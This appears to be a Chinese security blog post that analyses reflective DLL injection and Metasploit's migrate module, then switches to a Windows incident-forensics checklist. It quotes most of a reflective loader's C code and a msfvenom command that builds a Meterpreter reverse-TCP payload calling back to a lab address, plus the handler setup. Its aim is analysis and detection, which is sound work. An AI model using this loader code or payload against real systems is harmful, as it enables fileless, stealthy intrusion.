dll注入技術是讓某個進程主動加載指定的dll的技術。惡意軟件為了提高隱蔽性,通常會使用dll注入技術將自身的惡意代碼以dll的形式注入高可信進程。
常規的dll注入技術使用LoadLibraryA()函數來使被注入進程加載指定的dll。常規dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規dll注入技術在受害者主機上留下痕跡較大,很容易被edr等安全產品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術并在github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過socket等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。
本文將從dll注入技術簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術。
2.1 常規dll注入技術
常規dll注入有:
以使用CreateRemoteThread()函數進行dll注入的方式為例,實現思路如下:
常規dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。
【→所有資源關注我,私信回復“資料”獲取←】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
2.2 反射式dll注入技術
反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
Reflective loader實現思路如下:
msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當前進程遷移到指定進程。
在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:
migrate的模塊的實現和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細節,其實現原理如下:
原理圖如下所示:
圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate模塊的reflective loader是直接復用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數。下面我們主要關注reflective loader的行為。
3.1 靜態分析3.1.1 獲取dll基地址
ReflectiveLoader()首先會調用caller()函數
uiLibraryAddress=caller();
caller()函數實質上是_ReturnAddress()函數的封裝。caller()函數的作用是獲取caller()函數的返回值,在這里也就是ReflectiveLoader()函數中調用caller()函數的下一條指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后,向低地址逐字節比較是否為為dos頭的標識MZ字串,若當前地址的內容為MZ字串,則把當前地址認為是dos頭結構體的開頭,并校驗dos頭e_lfanew結構成員是否指向pe頭的標識”PE”字串。若校驗通過,則認為當前地址是正確的dos頭結構體的開頭。
while( TRUE )
{
//將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic==IMAGE_DOS_SIGNATURE )
{
uiHeaderValue=((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >=sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue +=uiLibraryAddress;
//判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature==IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
3.1.2 獲取必要的dll句柄和函數地址
獲取必要的dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。
iBaseAddress=(ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA=(ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter=((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC=0;
ULONG_PTR tmpValC=uiValueC;
//計算tmpValC所指向子串的hash值,并存儲在uiValueC中
....
if( (DWORD)uiValueC==KERNEL32DLL_HASH )
必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。
uiBaseAddress=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir=uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter=3;
while( usCounter > 0 )
{
dwHashValue=_hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue==LOADLIBRARYA_HASH
//等于其他函數hash的情況
|| ...
)
{
uiAddressArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray +=( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue==LOADLIBRARYA_HASH )
pLoadLibraryA=(LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函數hash的情況
...
usCounter--;
}
uiNameArray +=sizeof(DWORD);
uiNameOrdinals +=sizeof(WORD);
}
}
3.1.3 將dll映射到新內存
Nt optional header結構體中的SizeOfImage變量存儲著pe文件在內存中解析后所占的內存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內存,然后按照section headers結構中的文件相對偏移和相對虛擬地址,將pe節一一映射到新內存中。
//分配SizeOfImage的新內存
uiBaseAddress=(ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA=((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB=uiLibraryAddress;
uiValueC=uiBaseAddress;
//將所有頭和節表逐字節復制到新內存
while( uiValueA-- )
*(BYTE *)uiValueC++=*(BYTE *)uiValueB++;
//解析每一個節表項
uiValueA=( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE=((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB=( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC=( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD=((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//將每一節的內容復制到新內存對應的位置
while( uiValueD-- )
*(BYTE *)uiValueB++=*(BYTE *)uiValueC++;
uiValueA +=sizeof( IMAGE_SECTION_HEADER );
}
3.1.4 修復導入表和重定位表
首先更具導入表結構,找到導入函數所在的dll名稱,然后使用loadlibary()函數載入dll,根據函數序號或者函數名稱,在載入的dll的導出表中,通過hash對比,并把找出的函數地址寫入到新內存的IAT表中。
uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//當沒有到達導入表末尾時
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函數加載對應的dll
uiLibraryAddress=(ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果導入函數是通過函數編號導入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通過函數編號索引導入函數所在dll的導出函數
uiExportDir=uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir=( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray=( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray +=( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//將對應的導入函數地址寫入IAT表
DEREF(uiValueA)=( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//導入函數通過名稱導入的
uiValueB=( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA)=(ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA +=sizeof( ULONG_PTR );
if( uiValueD )
uiValueD +=sizeof( ULONG_PTR );
}
uiValueC +=sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。
uiLibraryAddress=uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不為0,則修正重定向節
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE=((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA=( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB=( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD=uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根據不同的標識,修正每一項對應地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=(DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=LOWORD(uiLibraryAddress);
uiValueD +=sizeof( IMAGE_RELOC );
}
uiValueE -=((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC=uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
3.2 動態調試
本節一方面是演示如何實際的動態調試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節會更容易理解。
首先用msfVENOM生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用msfconsole設置監聽
msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload=> windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost=> 0.0.0.0
msf6 exploit(multi/handler) > exploitStarted reverse TCP handler on 0.0.0.0:4444
之后在受害機使用windbg啟動msf.exe并且
bu KERNEL32!CreateRemoteThread;g
獲得被注入進程新線程執行的地址,以便調試被注入進程。
當建立session連接后,在msfconsole使用migrate命令
igrate 5600 //5600是要遷移的進程的pid
然后msf.exe在CreateRemoteThread函數斷下,CreateRemoteThread函數原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我們要找第四個參數lpStartAddress的值,即r9寄存器的內容,
使用
address 000001c160bb0000
去notepad進程驗證一下,是可讀可寫的內存,基本上就是對的
此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數地址,我們通過
-a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小
直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數地址
meterpreter loader將reflective loader函數的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數,如下圖所示
reflective loader首先call 000001c1`60bb5dc9也就是caller()函數,caller()函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址
在這里也就是0x000001c160bb5e08
獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結構成員是否指向PE,若是則此時的地址作為dll的基地址。后面調試過程不在贅述。
反射式dll注入技術有很多種檢測方法,如內存掃描、IOA等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。
掃描策略:
檢測點多是跟reflective loader函數的行為有關,檢測點如下:
深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術。檢測結果如圖所示:
對于標準的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。
為什么要取證
附錄2:取證思路
附錄3:取證分析綱要
注:在上機取證的同時應該對操作的每個步驟進行截圖保存,方便作為后續寫報告的依據。
一、網絡、進程檢測
通過網絡連接情況和程序進程對主機進行檢測取證,直接定位出可疑文件。
1.1、網絡情況查看
1.1.1 網絡連接查看
使用netstat -ano查看當前所有的網絡連接。通過對IP地址查看定位異常請求。
通過pid定位程序位置:wmic process |findstr pid
1.1.2 木馬心跳或網絡請求查看
可以使用LiveTcpUdpWatch對網絡情況進行查看(可后臺運行半小時查看結果),該軟件能記錄DNS請求(用于捕捉木馬心跳—非持續性連接的網絡進程),網絡連接等情況,通過遠程連接IP(流量獲取或者其他途徑)定位到木馬的PID,結合PChunter或任務管理器進行木馬定位。
1.1.3 全局流量查看
若有需要可以使用Wireshark對當前網絡流量進行監控,主要是盡可能多的收集攻擊者信息和潛在的木馬連接信息。
1.2 進程檢測
注意點:不建議使用任務管理器進行系統進程檢查,因為可供分析的維度較少,且容易被進程名欺騙,操作系統允許相同名稱但不同執行路徑的進程同時存在。
查看本機所有進程建議使用PCHunter進行查看,信息比較全,可以同時看到進程名稱和程序路徑。
若不方便使用外部工具可以使用wmic命令查看進程信息:
wmic process get caption,commandline,creationDate,executablepath,handle,handleCount
在cmd命令行中復制以上命令并回車執行。
打開C:\yanlian\process.txt,可看到6列內容,含義如下所示:
可根據進程名、進程執行參數、進程啟動時間、程序執行路徑判斷是否存在異常,并根據異常點進行深入分析。
1. 3 DLL劫持檢測
木馬程序通過服務、dll、com均可劫持注入到程序中啟動。
示例:以svchost及dll劫持為例:
svchost.exe主要作用是將動態鏈接庫(后綴為.dll的文件)以服務的方式運行。svchost.exe對系統的正常運行非常重要,是不能被結束的。
注意點:
存在異常監聽端口,pid指向svchost.exe程序,需檢查是否存在異常。通過第三方工具ProcessExplorer(簡稱pe)檢查svchost.exe程序。
示例:
通過檢查已監聽端口,發現“異常”監聽,pid指向800。
打開任務管理器,發現pid 800是svchost.exe程序,由于該程序的特性,需使用第三方工具pe進行檢查。
通過pe工具可發現pid 800是由服務啟動,根據啟動路徑可發現該程序是由正常路徑啟動,但程序是否被替換未知,啟動的服務是netsvcs(小白殺手,當初虐了我n久),該服務下掛12個子服務。
在pe中雙擊該程序,點擊【tcp/ip】,可發現49154端口是服務schedule監聽。
點擊【services】,可發現schedule服務啟動的動態鏈接庫絕對路徑是c:\windows\systemc32\schedsvc.dll,從而發現49154端口是哪個程序正在監聽。
通過點擊pe的功能菜單模塊(下圖的齒輪圖標)【view handles】可顯示該程序所調用的clsid。
如存在啟動、點擊某個程序后惡意進程重新啟動的情況,則可以對com劫持進行檢查。
通過點擊【view dlls】可顯示該程序所調用的dll文件。
也可以通過排序可直觀的看到是否存在dll劫持。
1.4 進程注入檢測
進程注入是一種廣泛使用的躲避檢測的技術,通常用于惡意軟件或者無文件技術。其需要在另一個進程的地址空間內運行特制代碼,進程注入改善了不可見性,同時一些技術也實現了持久性。
進程注入檢測通常情況需要對主機的網絡情況進行檢測發現,可以使用livetcpudpwatch工具進行監測。
通過其異常請求的pid,利用Process Explorer對該PID進行查看,并使用將該線程內存dump出來。
使用Process Explorer查看PID進程需要等待一段時間,當木馬發起網絡請求時才會出現以下TCP/IP信息。
使用strings、IDA或者其他內存分析工具進行線程分析。
二、可疑用戶操作檢測
2. 1 用戶檢測
wmic useraccount get name,SID
可以檢測出影子用戶和注冊表隱藏的用戶(net user命令搜索容易漏過這些特殊用戶):
查看管理員分組有哪些用戶 net localgroup administrators:
查看xxx用戶的創建時間和上?次登陸時間net user xxx
進入C:/Users ?件夾,查看哪些用戶登陸了系統,以及黑客沒有清理干凈的惡意用戶。
進入C:\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Recent
文件夾,查看當前用戶最近的操作記錄(可執行程序的執行情況不會被記錄)
2.2 登陸檢測
1. 什么時間誰連接了被黑主機
2. 什么時間被黑主機連接了誰
注意點:主機日志默認記錄20Mb,達到最大值時優先覆蓋舊事件,同時網絡安全法要求日志至少保存6個月以上。
分遠程桌面連接和IPC連接兩種方式討論。
遠程桌面連接方式:
針對要點1,可以使用WinLogView工具,會列出系統中所有曾經登陸過的主機,包含本地登陸和遠程登陸,針對原有的用戶需要注意用戶的登陸時間段是否在工作時間段內。(LogonType:10 表示遠程登陸,2 表示本地登陸)。
針對要點2,可以使用查看注冊表HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default(有空格,注意引號擴起來)展示最近10次本機成功建立的RDP連接。
IPC連接方式:
針對要點1,查看Windows安全日志,查找4624,登陸類型為3而且源網絡地址不是來自于127.0.0.1的安全事件。
其實在這里登陸類型為 10 表示的是 RDP 登陸
也可以通過FullEventLogView批量加載主機日志,然后通過4624等時間ID進行日志篩選,相對主機直接查看日志更直觀。
針對要點2,可以通過注冊表進行查看
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
2.3 文件檢測
2.3.1 近期操作文件
利用AppCompatCacheParser工具檢查近期的可執行文件操作(由于該記錄以非文本方式保存在注冊表中,很多攻擊者不會清理該文件夾):
根據時間倒敘,重點排查近期或者被攻擊時間段的程序執行記錄。
近期的文件操作可以直接使用lastactivityview方便查看,優點是收集的信息很完整,可以導出HTML。
注意,進行C:/User/xxx/Recent目錄也能看到用戶最近頻繁操作的一些文件,但并不是所有操作,信息不夠全面
近期所有瀏覽器的操作記錄使用BrowsingHistoryView?并查看,可以根據時間短對記錄進行篩選。
2.3.2人工檢查目錄
這些路徑經常作為攻擊者內網滲透的臨時工作目錄,以及木馬啟動、解壓路徑可以重點檢查。
C:\Perflogs\ C:\Perflogs\admin\ C:\ProgramData\ C:\Users\Public\ C:\Users\當前用戶\ C:\Windows\Temp\ C:\Users\當前用戶\AppData\Roaming\ C:\Users\當前用戶\AppData\Local\Temp\ C:\Users\當前用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp |
2.3.3 黑客工具
使用惡意軟件全盤掃描工具比如睿眼主機取證溯源系統【商業化產品對系統進行全盤掃描,能探測出木馬文件和黑客工具的所在位置。
進入對應的文件夾查看有無其他黑客工具,注意掃描到文件的創建時間,以及該文件對應的創建者信息,可以關聯出黑客的作案時間以及黑客用戶。
WebShell 文件可以使用D盾Webshell查殺工具
同時記錄Webshell的名稱,從Web訪問日志中關聯是否存在HTTP隧道腳本和其他WebShell文件。
三、持久化檢測
持久化檢測主要是檢測木馬的啟動方式等。
3.1 啟動目錄
C:\Users\當前用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
3.2 注冊表啟動項
開機啟動項直接運行msconfig進行查看,簡單檢查有無未知啟動項。
如需要導出分析,使用以下命令將自啟動項導出檢查。
// 導出當前用戶啟動項
reg export HKCU\Software\Microsoft\Windows\CurrentVersion\Run c:\yanlian\autorun1.reg
// 導出系統啟動項
reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Run c:\yanlian\autorun2.reg
reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce c:\yanlian\autorun3.reg
示例:
輸入命令將自啟動項配置文件導出。
檢查導出的自啟動項配置是否存在異常。
3. 3 開機啟動腳本
運行 gpedit.msc 查看組策略:
3.4 計劃任務
計劃任務直接使用AutoRuns 進行檢測,根據 ImagePath 配合 Publisher 判斷是不是木馬程序。
3.5 映像劫持檢測(Shift后門)
通過AutoRuns的ImageHiJack進行檢測,被替換的setch.exe 會直接顯示出來。
另外可以對程序提交VT進行檢測:
根據VT的評分判定是否可能是木馬程序。
3.6 環境變量檢測
環境變量用于將系統路徑變量化,如被黑客利用則會以最高權限運行惡意程序,例如將環境變量%systemroot%變更為其他路徑,同時建立system32文件夾并將惡意程序通過服務啟動。
注意點:環境變量%systemroot%修改后需進行恢復,否則系統無法正常重啟。使用set命令將環境變量導出檢查。
示例:
輸入命令將環境變量配置文件導出。
檢查導出的環境變量配置是否存在異常。
3.7 系統服務檢測
查看本機所有的服務可以使用AutoRuns ,好處比較清晰列出了進程可執行程序路徑和證書信息,此外還可以聯動VT ,直接云判斷(點擊Option-Scan Option調用VT)可執行程序是否是惡意程序。